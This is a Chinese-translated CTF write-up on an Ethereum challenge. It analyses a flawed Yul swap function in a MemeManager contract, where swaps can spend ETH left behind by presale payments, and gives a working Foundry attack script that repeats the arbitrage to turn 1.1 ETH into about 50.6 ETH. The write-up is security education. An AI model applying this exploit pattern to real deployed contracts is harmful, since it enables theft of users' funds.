该文章分析了一个以太坊CTF挑战,目标是通过利用Memecoin Manager合约漏洞,将初始的1.1 ETH 增加到超过50 ETH。核心漏洞存在于合约的swap函数中,通过预售购买Memecoin,利用swap函数中的逻辑错误重复利用ETH,循环套利最终获胜。
这个挑战有 13 个解。
概要: 我们从 1.1 ETH 开始。环境是 Ethereum 主网的一个分叉。目标是通过利用 Memecoin Manager 合约获得超过 50 ETH。
MemeManager.sol
合约的主要功能是创建不同的 (Memecoin, WETH)
UniswapV2 池并为其提供流动性。Memecoin 是一个标准的 ERC20 代币。
此外,我们还有唯一的 preSale
选项,我们可以通过支付来获得在提供流动性之前铸造的 Memecoin。
function preSale(address token, uint256 amount) external payable {
MemeInfo memory info = tokenInfo[token];
require(info.token != address(0), "MemeManager: unknown token");
require(!info.initialLiquidityProvided, "MemeManager: preSale ended");
require(msg.value >= 0.5 * 1e18, "MemeManager: too little");
require(msg.value * 1e18 == amount * info.initialPriceWeiPerToken, "MemeManager: wrong amount");
MemeToken(token).mint(msg.sender, amount);
}
在 MemeManager.sol
中,还有一个用 Yul 汇编实现的 swap 函数,它带来了漏洞。
function swap() external payable returns (bytes memory error){
assembly {
let valueLeft := callvalue()
let n:= shr(248, calldataload(4))
let cur
for { let i := 0 } lt(i, n) { i := add(i, 1) } {
cur := add(5, mul(0x14, i))
let token := shr(96, calldataload(cur))
cur := add(cur, mul(n, 0x14))
let amount:= calldataload(cur)
cur := add(cur, mul(n, 0x20))
let dir:= shr(248, calldataload(cur))
let ptr := mload(0x40)
switch dir
case 1 {
mstore(ptr, 0x7ff36ab500000000000000000000000000000000000000000000000000000000) // swapExactETHForTokens(uint256,address[],address,uint256)
mstore(add(ptr, 0x04), 0)
mstore(add(ptr, 0x24), 0x80)
mstore(add(ptr, 0x44), caller())
mstore(add(ptr, 0x64), timestamp())
let tail := add(ptr, 0x84)
mstore(tail, 2)
mstore(add(tail, 0x20), sload(WETH.slot))
mstore(add(tail, 0x40), token)
let ok := call(gas(), sload(ROUTER.slot), amount, ptr, add(0x84, 0x60), 0, 0)
let rd := returndatasize()
if iszero(ok) { returndatacopy(0, 0, rd) revert(0, rd) }
valueLeft := sub(valueLeft, amount)
}
default {
mstore(ptr, 0x23b872dd00000000000000000000000000000000000000000000000000000000) // transferFrom(address,address,uint256)
mstore(add(ptr, 0x04), caller())
mstore(add(ptr, 0x24), address())
mstore(add(ptr, 0x44), amount)
let ok := call(gas(), token, 0, ptr, 0x64, 0, 0)
let rd := returndatasize()
if iszero(ok) { returndatacopy(0, 0, rd) revert(0, rd) }
mstore(ptr, 0x095ea7b300000000000000000000000000000000000000000000000000000000) // approve(address,uint256)
mstore(add(ptr, 0x04), sload(ROUTER.slot))
mstore(add(ptr, 0x24), amount)
ok := call(gas(), token, 0, ptr, 0x44, 0, 0)
rd := returndatasize()
if iszero(ok) { returndatacopy(0, 0, rd) revert(0, rd) }
mstore(ptr, 0x18cbafe500000000000000000000000000000000000000000000000000000000) // swapExactTokensForETH(uint256,uint256,address[],address,uint256)
mstore(add(ptr, 0x04), amount)
mstore(add(ptr, 0x24), 0)
mstore(add(ptr, 0x44), 0xa0)
mstore(add(ptr, 0x64), caller())
mstore(add(ptr, 0x84), timestamp())
let tail2 := add(ptr, 0xa4)
mstore(tail2, 2)
mstore(add(tail2, 0x20), token)
mstore(add(tail2, 0x40), sload(WETH.slot))
ok := call(gas(), sload(ROUTER.slot), 0, ptr, add(0xa4, 0x60), 0, 0)
rd := returndatasize()
if iszero(ok) { returndatacopy(0, 0, rd) revert(0, rd) }
}
}
}
}
汇编读取具有以下结构的 calldata。为简单起见,我们只绘制 n = 1 和 n = 2 的情况。
当 n = 2 时,代码中存在一些问题,因为堆栈上的不同变量来自 calldata 的重叠区域,
但这无关紧要,我们只会使用 n = 1 的情况。
我们利用 switch
中的 case 1 而不是 default,它调用 Uniswapv2 的 swapExactETHForTokens
。
攻击逻辑:
当我们调用 presale
时,我们向 MemeManager
合约支付费用以铸造 Memecoin。然后,我们要求 MemeManager
向池 (Memecoin, WETH)
添加流动性。
漏洞在于 swapExactETHForTokens
函数中的 swap
期望我们提供 ETH 以换取 Memecoin。但是,我们可以使用 剩余 在 MemeManager
中的 ETH(来自我们的 presale 付款)。在交换 Memetoken 之后,我们使用所有的 Memetoken 通过 UniswapV2Router
换回 ETH。
为什么这个攻击有效?
这类似于我们用美元兑换欧元,但仍然能够使用我们已经兑换的美元来获得更多的欧元。因此,当我们用我们所有的欧元兑换美元时,我们得到的美元比我们最初拥有的更多。
我们可以通过攻击获得多少收益?
当我们使用 x
以太币来获得 presale Memecoin 时,我们得到 10_000 x
Memecoin。然后我们调用 ProvideLiquidty
创建一个池,其中包含 100_000
Memecoin 和 10
ETH。
我们调用 swap,使用我们支付的 x
ETH 来交换 100_000 x / (10+x)
个 Memecoin。现在我们有 10_000 x + 100_000 x / (10+x)
个 Memecoin。
uniswapv2 池有 1_000_000 / (10+x)
个 Memecoin 和 10+x
ETH。
我们用我们所有的 Memecoin 换 ETH,交换后,我们有
(10 + x) - 1_000_000 / 10_000 x + 100_000
= 10+ x - 100 / (10+x) = x + 10x / (10+x) ETH
由于我们从支付 x
ETH 开始,我们可以 免费 获得 10 x / (10 + x)
额外的 ETH。
我们重复这些步骤,我们使用的 x
值越大,我们可以赚取的 ETH 就越多。请注意,由于 VC(在 provideLiquidity
期间资助 MemeManager
)的限制仅有 100 ETH,因此我们最多可以执行 10 次此操作。我们还需要考虑主网交易的 gas 费用,因此每次我们都应该保留 0.1 ETH 用于 gas。
这是执行我们攻击的脚本。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {console2, Script} from "forge-std/Script.sol";
import "src/MemeManager.sol";
import {IERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
contract AttackScript is Script {
address factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
MemeManager memeManager = MemeManager(payable(vm.envAddress("MANAGER")));
function run() external {
address token;
uint256 amount;
address[] memory path = new address[](2);
bool success;
amount = 1 ether;
uint256 pk = vm.envUint("PRIVATE_KEY");
address player = vm.addr(pk);
vm.startBroadcast(player);
for (uint i = 0; i < 10; i++) {
(token, ) = memeManager.createMeme("piggy", "PIG", 0.0001 ether);
memeManager.preSale{value:amount}(token, 10_000*amount);
memeManager.ProvideLiquidity(token, block.timestamp + 1 days);
IERC20(token).approve(address(memeManager), type(uint256).max);
(success,) = address(memeManager).call(abi.encodePacked(bytes4(0x8119c065), uint8(1), uint160(token), amount, uint256(1 << 248)));
if (!success) {revert();}
IERC20(token).approve(router, type(uint256).max);
path[0] = token;
path[1] = weth;
IUniswapV2Router02(router).swapExactTokensForETH(IERC20(token).balanceOf(player), 0, path, player, block.timestamp + 1 days);
amount = player.balance - 0.1 ether;
}
vm.stopBroadcast();
console2.log(player.balance);
}
}
结果我们最终拥有 50.6 ETH,这解决了挑战。
- 原文链接: blog.blockmagnates.com/s...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!